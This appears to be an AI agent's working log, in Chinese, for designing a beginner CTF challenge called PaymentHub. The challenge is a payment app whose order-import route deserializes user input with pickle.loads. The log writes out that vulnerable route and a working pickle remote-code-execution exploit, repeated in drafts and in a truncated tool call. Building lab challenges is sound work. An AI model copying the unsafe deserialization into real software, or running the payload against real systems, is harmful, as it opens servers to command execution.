# 阶段5：题目设计
[2026-01-07 16:53:26] [STAGE] [Augment] 🎯 [阶段 4] 阶段 4

## 5.1 设计目标

- **差异度**：入门 ≥20%（与现有题目不同的创新点）
- **深度**：入门 1.5-4.0
- **趣味性**：入门 0-1 个啊哈时刻

## 5.2 利用链设计

| 步骤 | 类型 | 技术点 | 深度 | 知识来源 |
|------|------|--------|------|---------|
| Step 1 | 信息收集 | 访问支付平台，发现订单查询功能 | 1/10 | 常规 |
| Step 2 | 功能探索 | 发现可以导出订单数据（序列化存储） | 2/10 | 常规 |
| Step 3 | 漏洞利用 | 构造恶意pickle payload上传 | 4/10 | File Store.md, flask_caching.md |
| Step 4 | 获取FLAG | 触发反序列化，执行命令读取flag | 3/10 | Paddle.md |

[2026-01-07 16:53:26] [INFO] [Augment] [已处理 200 行]
**平均深度**: (1+2+4+3)/4 = 2.5/10 ✅ 符合入门要求（1.5-4.0）

## 5.3 核心代码预写

### 漏洞触发代码（真实代码）

❌ 安全写法（不能触发）：
```python
import json
data = json.loads(order_data)
```

✅ 漏洞写法（能触发）：
```python
import pickle
import base64
order_data = base64.b64decode(request.form.get('order_data'))
order = pickle.loads(order_data)
```

### exp 核心代码（真实代码）

```python
import pickle
import base64
import requests

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('cat /flag.txt > /app/static/flag.txt',))

payload = base64.b64encode(pickle.dumps(RCE()))
r = requests.post(f"{url}/import_order", data={"order_data": payload})
flag = requests.get(f"{url}/static/flag.txt").text
print(flag)
```

### 依赖清单
```
Flask==2.0.1
```

## 5.3.1 代码可运行性自检

1. **导入完整吗？** ✅ pickle, base64, os, requests 都有导入
2. **路由正确吗？** ✅ `/import_order` 用于上传，`/static/flag.txt` 用于读取
3. **参数名一致吗？** ✅ `order_data` 参数名一致
4. **响应格式对吗？** ✅ 直接读取静态文件内容

## 5.4 简易 exp 草稿（用于 Docker 测试）

```python
# 简易 exp 草稿（仅用于测试，阶段 9 会完善）
import requests
import pickle
import base64

url = "http://localhost:42555"

# Step 1: 构造恶意 pickle payload
class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('cat /flag.txt > /app/static/flag.txt',))

# Step 2: 编码并上传
payload = base64.b64encode(pickle.dumps(RCE()))
r = requests.post(f"{url}/import_order", data={"order_data": payload})
print("Upload response:", r.status_code)

# Step 3: 读取 flag
import time
time.sleep(1)
flag_response = requests.get(f"{url}/static/flag.txt")
print("Flag:", flag_response.text)
```

## 5.5 设计摘要

```
### 设计摘要
- 题目名称：PaymentHub
- 利用链：访问首页 -> 发现导入订单功能 -> 构造pickle payload -> 触发反序列化 -> 读取flag
- 黑名单：无
- 关键 payload：pickle.dumps(RCE()) 其中 __reduce__ 返回 os.system
- 容器端口：42555
- 创新点：支付平台场景，订单数据导入功能作为反序列化入口
```

### 检查清单

- [x] **深度达标**：平均深度 2.5/10，最高深度 4/10，符合入门要求（1.5-4.0）
- [x] **漏洞覆盖**：Python反序列化漏洞在利用链的 Step 3-4 中
- [x] **代码可行**：阶段 5.3 的核心代码使用标准 pickle RCE 方法，可正常运行
- [x] **payload 兼容**：无黑名单，payload 不会被阻断

## 7.5设计-实现一致性验证
[2026-01-07 16:56:22] [INFO] [Augment] [已处理 600 行]

验证：
- [x] 每个设计步骤都有对应的代码实现
  - Step 1: 首页展示 ✓ (`/` 路由)
  - Step 2: 订单导出功能 ✓ (`/export_order` 路由)
  - Step 3: 订单导入功能（pickle反序列化） ✓ (`/import_order` 路由)
  - Step 4: 读取 flag✓ (通过 `/static/flag.txt`)
- [x] 漏洞触发点使用的是"漏洞写法"
  - `pickle.loads(decoded_data)` ✓ 第60行

- [x] 路由路径、参数名与阶段 5 设计一致
  - `/import_order` 路由 ✓
  - `order_data` 参数 ✓
  - `/static/flag.txt` 静态文件访问 ✓

### 4. 漏洞触发测试（使用简易 exp 草稿）

现在创建并运行简易 exp 来测试漏洞是否可以触发：

🔧 Tool call: save-file
   file_content: "import requests
   import pickle
   import base64
   import time
   
   url = "http://localhost:42555"

       def __reduce__(self):
           import os
           return (os.system, ('cat /flag.txt > /app/static/flag.txt',))
   
   payload = base64.b64encode(pickle.dumps(RCE()))
   print("Uploading payload...")
